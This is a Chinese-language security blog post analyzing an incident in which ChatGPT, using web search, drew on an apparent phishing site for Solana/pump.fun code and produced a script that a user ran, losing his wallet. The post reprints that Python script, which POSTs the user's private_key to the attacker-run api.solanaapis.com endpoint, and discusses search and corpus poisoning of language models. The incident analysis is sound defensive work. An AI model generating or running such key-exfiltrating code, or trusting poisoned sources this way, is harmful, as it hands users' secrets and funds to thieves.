今天看到一个非常有意思的案例,应该说可以载入史册的案例。我最早看有群里转发COS的一个推文:
然后在hi群发了下,COS看到后跟我说了下大体过程,从受害者r_ocky.eth @r_cky0 的推文:
详见:https://x.com/r_cky0/status/1859656430888026524
大概说是他在使用ChatGPT编码的时候,GPT给出的代码里调用了一个恶意的API地址,然后更要命的是生成的代码里是直接把"private_key"明文提交给“恶意”API处理,而且这哥们也是老老实实在代码里填写了自己的key,然后还运行了,结果是30分钟后他的钱包被盗(转移到FdiBGKS8noGHY2fppnDgcgCQts95Ww8HSLUvWbzv1NhX这个地址)损失差不多$2.5k刀...
从受害者的推文来看把锅甩给了OpenAI,并表示此次不再信任OpenAI,当然他也第一时间币圈第一神探@COS寻求帮助(是的!如果你在币圈出现任何安全风险,请第一时间联系慢雾,肯定没错!),COS也第一时间做了分析回应:https://x.com/evilcos/status/1859752658061623593
(因为我开始打错别字了写成了漫雾,所以COS发了这个图帮纠正一下,这应该也是一种语料污染,所以直接发出来提醒下大家)
事情基本清楚了,但是是不是ChatGPT的锅实际上还不是很明了,因为没有搞清楚ChatGPT为什么会给出这个API调用的代码,在受害小哥的推文我们找到了小哥当时的提示词:
this has to be script to buy solana token from pump.fun portal
另外我留意到ChatGPT的回复是包含“References”及“Sources”的,通过COS联系小哥后他给我分享了当时所有跟ChatGPT的会话记录,找到对应的提示词,后可以看到他当时使用了ChatGPT-4o-mini并且确实触发了搜索,点“Sources”可以看到:
所以真相大白了搜索源就是docs.solanaapis.com 应该同时命中了“solana”跟“pump.fun”两个关键词,所以成为ChatGPT引入的“语料”数据源,我们也就找到文档及github中的演示代码中的API地址:
https://api.solanaapis.com/pumpfun/buy
根据这些搜索到的“知识”ChatGPT“自然而然”的生成了对应恶意API调用的代码:
import requests
# API Endpoint
api_url = "https://api.solanaapis.com/pumpfun/buy"
# Replace with your actual private key
private_key = "your_private_key_here"
# Token mint address for HXTh56cHH97ibiNMEtMyMs6ZPAeqy5E9xxxxx
mint_address = "HXTh56cHH97ibiNMEtMyMs6ZPAeqy5E9xxxxx"
# Amount in SOL you wish to spend
amount_in_sol = 0.01 # Example: 0.01 SOL
# Transaction parameters
microlamports = 433000 # Default value
units = 300000 # Default value
slippage = 10 # Example: 10 for 10% slippage
# Payload for the POST request
payload = {
"private_key": private_key,
"mint": mint_address,
"amount": amount_in_sol,
"microlamports": microlamports,
"units": units,
"slippage": slippage
}
try:
# Send POST request to the API
response = requests.post(api_url, json=payload)
response_data = response.json()
if response.status_code == 200 and response_data.get("status") == "success":
print(f"Transaction successful! TXID: {response_data.get('txid')}")
else:
print(f"Transaction failed: {response_data.get('message', 'Unknown error')}")
except Exception as e:
print(f"An error occurred: {e}")
然后这个受害者小哥也没注意,直接在代码里填写了自己的private_key,然后本地运行了 ... 后面的结果大家都已经知道了...
到这里我们可以整理下整个流程图:
到这里还有一个问题那就是ChatGPT生成的代码为什么会要求把private_key提交给远程API处理呢?实际上从docs.solanaapis.com “官方”演示代码也是要发送private_key的,所以有理由相信整个docs.solanaapis.com及对应代码的 github.com/solanaapisdev 整个项目就是一个彻头彻尾的“钓鱼”项目,用时髦的话说是供应链钓鱼,从本次案例的动机及场景上上讲ChaGPT算是躺枪了,我估计攻击者也没想到ChatGPT会有这么堪称为“神之一手”的完美助攻!!!
如果要OpenAI背锅的话那应该把锅给ChatGPT-Research,因为我用Google搜索了一下“solana”跟“pump.fun”两个关键词,并没有找到docs.solanaapis.com这个的靠前的搜索
之所以称这个案例可以“载入史册”,我觉得属于可能是第一个真实发生的语料污染带给用户带来损失的案例!其实在我之前内部培训的时候有提到这种语料污染的问题:
本次案例这种API调用是算是非常隐蔽的场景,当然这也是因为Web3这种知识都算是比较新的“知识”,更加容易被“投毒”污染,这次我觉得ChatGPT算是被动“躺枪”,但是下次很可能出现攻击者主动出击的情况!尤其是对新出现的现象级那种爆红的项目,进行优先“占坑”提供完整的知识进行“投毒”污染的可能。大模型相关搜索及代码生成都需要考虑下这种风险场景的可能 ...
当然本次案例核心还是受害者小哥的“配合”缺少最基本的概念,即使是一个背景很靠谱官方也不可能直接提交private_key啊~~
最后:
来句黑哥尔的名言:经典永远在各种偶然的不可思议的场景中诞生!
最后感谢cos,感谢受害者小哥r_ocky.eth @r_cky0分享他价值$2.5k刀的教训